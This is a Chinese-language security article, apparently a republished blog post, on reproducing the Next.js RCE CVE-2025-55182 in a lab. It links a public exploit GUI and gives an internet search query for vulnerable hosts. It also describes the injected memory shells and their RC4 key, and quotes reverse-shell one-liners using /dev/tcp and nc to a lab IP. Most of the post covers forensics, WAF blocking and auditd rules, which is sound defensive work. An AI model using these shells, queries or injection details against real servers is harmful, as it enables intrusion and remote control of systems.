2025-12-22 04:38:10 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

文章总结： 这篇文章详细介绍了CVE-2025-55182漏洞的复现过程，这是一个影响Next.js的严重RCE漏洞，允许攻击者在服务器上执行任意命令并植入内存马。文章提供了漏洞环境搭建、POC工具使用、漏洞分析、取证特征、清除方法和部署审计的完整指南。文章强调了该漏洞对Next.js影响重大但对React影响极小，并提供了包括立即终止进程、阻断特定路径、启用审计日志、最小化服务权限等多方面的处置建议。 综合评分： 91 文章分类： 漏洞分析,渗透测试,WEB安全,漏洞POC,应急响应

cover_image

CVE-2025-55182复现学习

白帽子

2025年12月14日 14:56 广东

以下文章来源于MicroPest ，作者MicroPest

MicroPest .

个人开发的小工具

上周，Next.js & React 满分RCE漏洞全网爆火，威力无比。等poc出来后，也凑热闹般地上来看看学习一下。通过此文，也算是知晓了一些该漏洞的危害程度。

一、poc工具

https://github.com/darkfiv/ReactExploitGUI

有源码和编译好的。

二、批量关键词：

app=”Next.js” && body=”/_next/static/chunks/app/”

三、搭建环境

在kali中，下载并运行漏洞环境

下载存在漏洞的版本环境，这里选择一个存在漏洞的版本即可（我这里下载的是16.0.5）：

npm create [email protected] react -y

切换到下载的目录： cd react

运行对应环境（注意以管理员权限运行）： npm run dev

说明能正常访问了。

四、分析过程

1、工具检测，如下图，

2、分析

我们关注curl -I http://192.168.137.129:3000/

上图，X-Powered-By: Next.js，说明是 Node；

上图，ss -tlnp | grep :3000，查端口归属进程，pid=11644

上图，readlink -f /proc/11644/exe，看进程是/usr/bin/node，也说明是挂载在Node上；

访问

http://192.168.137.129:3000/dmzaxx7k67k1diag?cmd=whoami

，下图

我们在日志中找下grep -R “dmzaxx7k67k1diag” /var/log/* 2>/dev/null，下图

/var/log/suricata/eve.json:{“timestamp”:”2025-12-13T21:32:11.713491-0500″,”flow_id”:1118722491667297,”in_iface”:”eth0″,”event_type”:”http”,”src_ip”:”192.168.137.1″,”src_port”:51844,”dest_ip”:”192.168.137.129″,”dest_port”:3000,”proto”:”TCP”,”ip_v”:4,”pkt_src”:”wire/pcap”,”tx_id”:0,”http”:{“hostname”:”192.168.137.129″,”http_port”:3000,”url”:”/dmzaxx7k67k1diag?cmd=whoami”,”http_user_agent”:”Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36″,”http_content_type”:”application/json”,”http_method”:”GET”,”protocol”:”HTTP/1.1″,”status”:200,”length”:68}}

3、架起nc监听，执行反弹shell，下图

反弹成功。

看下日志记录，

grep -nE ‘”src_ip”:”192.168.137.129″.*”dest_ip”:”192.168.1.11″.*”dest_port”:4444’ /var/log/suricata/eve.json

查看反连，下图

ss -tnp | grep ‘192.168.1.11:4444’

在日志中找下痕迹，下图

grep -R “192.168.1.11.*4444” /var/log/* 2>/dev/null

4、源码中两款内存马

简单执行型内存马：core\memshell.py:246-247 （路径 /exec ，调用 child_process.exec）；

哥斯拉型内存马：core\memshell.py:238-245 （路径 /api/v1/n0rth ，RC4 通信）；

5、注入机制要点

_response._prefix 注入上述 JS；由 multipart 表单承载，字段 name=”0″..”3″ ， name=”3″ 使用 UTF-16LE+Base64 编码，见 core\payload_builder.py:34-63 。
请求头包含 Next-Action 、 X-Nextjs-Request-Id 、 X-Nextjs-Html-Request-Id ， Content-Type: multipart/form-data; boundary=… ，见 core\payload_builder.py:93 。
成功特征为 3xx 或特定重定向头，见 core\memshell.py:142-151 。

6、取证特征

路由痕迹

– 访问 GET /exec?cmd=… ，状态码多为 200；注入阶段可能出现 303/307（你界面显示 303 重定向）。

– POST /api/v1/n0rth ，请求体为 JSON，字段 data 为 Base64；返回体同样为 {“data”: “…”}

进程行为

– 简单型出现 node 进程派生 sh/bash/cmd 执行，调用点为 child_process.exec 。

– 哥斯拉型不一定派生系统命令，更多是在内存中执行处理器并通过 RC4 回包。

静态签名

– http.Server.prototype.emit 被重写。

– 常量路径 ‘/exec’ 或 ‘/api/v1/n0rth’ 。

– 常量 RC4 密钥字符串 ‘3c6e0b8a9c15224a’ 。

网络日志

– 命令执行入口： /exec?cmd=whoami 等。

– 哥斯拉会话：频繁 POST /api/v1/n0rth 与 Base64 负载。

7、定位与清除

在目标主机确认监听 3000 的 exe 与 PID： ss -ltnp | grep :3000 ， readlink -f /proc//exe 。
杀进程或重启服务可清空内存马（挂载在进程内存）。
修补注入入口（Next.js 弱点或自定义接口），并在反代/WAF 阻断两条路径和 cmd= 参数。
审计与监控

– 审计 execve 与 connect （你已配置 auditd ），结合 ppid= 过滤。

– IDS/WAF 规则：匹配 ^/exec$ 与 ^/api/v1/n0rth$ 路径、请求体含 {“data”:”.+”} 的 Base64。

8、React与Next.js的关系

React是前端UI库，专注组件渲染与状态管理。
Next.js是基于React的全栈框架，提供路由、SSR/SSG/ISR、Server Components、Middleware、Server Actions，以及Node/Edge运行时整合。
开发形态：Next.js应用的页面与组件本质都是React组件；Next在服务端把这些组件编译并运行，负责请求处理与渲染输出。

9、该CVE漏洞对两者的影响

对React：影响极小。React只是浏览器端/组件层的库，不直接处理HTTP或服务器执行，纯React静态站（例如只用 vite /CRA构建、无自建后端）不受此类服务端RCE影响。
对Next.js：影响重大。漏洞利用的是Next的服务端请求处理链（与“Server Actions/Next-Action”解析、特殊multipart载荷相关），可在Next的Node服务进程内执行任意代码并挂载内存马。

五、部署审计

（一）添加exec审计行为

apt-get install auditd -y

systemctl enable –now auditd

auditctl -a always,exit -F arch=b64 -S execve -F key=exec

auditctl -a always,exit -F arch=b32 -S execve -F key=exec

之后可用：

ausearch -k exec | aureport -x –summary

（二）如何使用

1、目标

用 auditd 的 ausearch/aureport 把“反弹 Shell”证据串出来：入口执行、具体命令行、父子进程关系、到监听机的出站连接。

2、现场取证（立即执行）

锁定监听 3000 的应用进程 PID：

ss -ltnp | grep :3000

在最近 2 小时内，抓所有 execve 事件，并展示可读细节：

ausearch -k exec -ts -2h -i

只看高风险可执行文件（bash/sh/nc/python/perl），并带上下文：

按父进程定位（把 <PPID> 换成监听 3000 的进程 PID，例如 node/java）：

ausearch -k exec -ts -2h -i | grep “ppid=” -A3

关注字段：exe=...、cmdline=...、ppid=...、cwd=...。反弹常见特征：

– bash -c 'bash -i >& /dev/tcp/192.168.1.11/4444 0>&1'

– nc 192.168.1.11 4444 -e /bin/sh

– python -c 'import socket,subprocess,os;...'

生成执行概览，可加时间窗口：

aureport -x –summary -ts -2h

之后再对可疑项深入：

ausearch -k exec -ts -2h -i -x /bin/bash

ausearch -k exec -ts -2h -i -x /bin/nc

ausearch -k exec -ts -2h -i -x /usr/bin/python

3、网络连接证据（到 192.168.1.11:4444）

查看近期的 connect 系统调用：

ausearch -ts -2h -sc connect -i

汇总网络事件：

aureport -n -ts -2h

若输出很多，可粗筛端口或目标 IP：

ausearch -ts -2h -sc connect -i | grep -E ‘192.168.1.11|4444’

4、规则优化（后续更好取证）

开启/优化 exec 审计（减少噪声，聚焦普通用户进程）：

auditctl -a always,exit -F arch=b64 -S execve -F euid>=1000 -F auid!=4294967295 -k exec

auditctl -a always,exit -F arch=b32 -S execve -F euid>=1000 -F auid!=4294967295 -k exec

记录出站 connect（IPv4/IPv6）：

auditctl -a always,exit -F arch=b64 -S connect -F a0=2 -F euid>=1000 -k netconn

auditctl -a always,exit -F arch=b32 -S connect -F a0=2 -F euid>=1000 -k netconn

auditctl -a always,exit -F arch=b64 -S connect -F a0=10 -F euid>=1000 -k netconn6

auditctl -a always,exit -F arch=b32 -S connect -F a0=10 -F euid>=1000 -k netconn6

持久化规则（重启也生效）：

– 写入 /etc/audit/rules.d/05-exec.rules 和 /etc/audit/rules.d/06-net.rules 后加载：

augenrules –load

systemctl restart auditd

5、判定与串证思路

技术栈判定：先用 ss -ltnp 看 3000 端口的 exe（node 或 java）。
用 ausearch -k exec -ts <时间窗> -i | grep "ppid=<该PID>" 把该进程派生的命令全部列出；命令行里出现 192.168.1.11:4444 或上述反弹模式即为铁证。
再用 aureport -n -ts <时间窗> 或 ausearch -sc connect -ts <时间窗> -i 验证同一时间的出站连接到 4444，形成“入口请求→命令执行→出站连接”的完整链。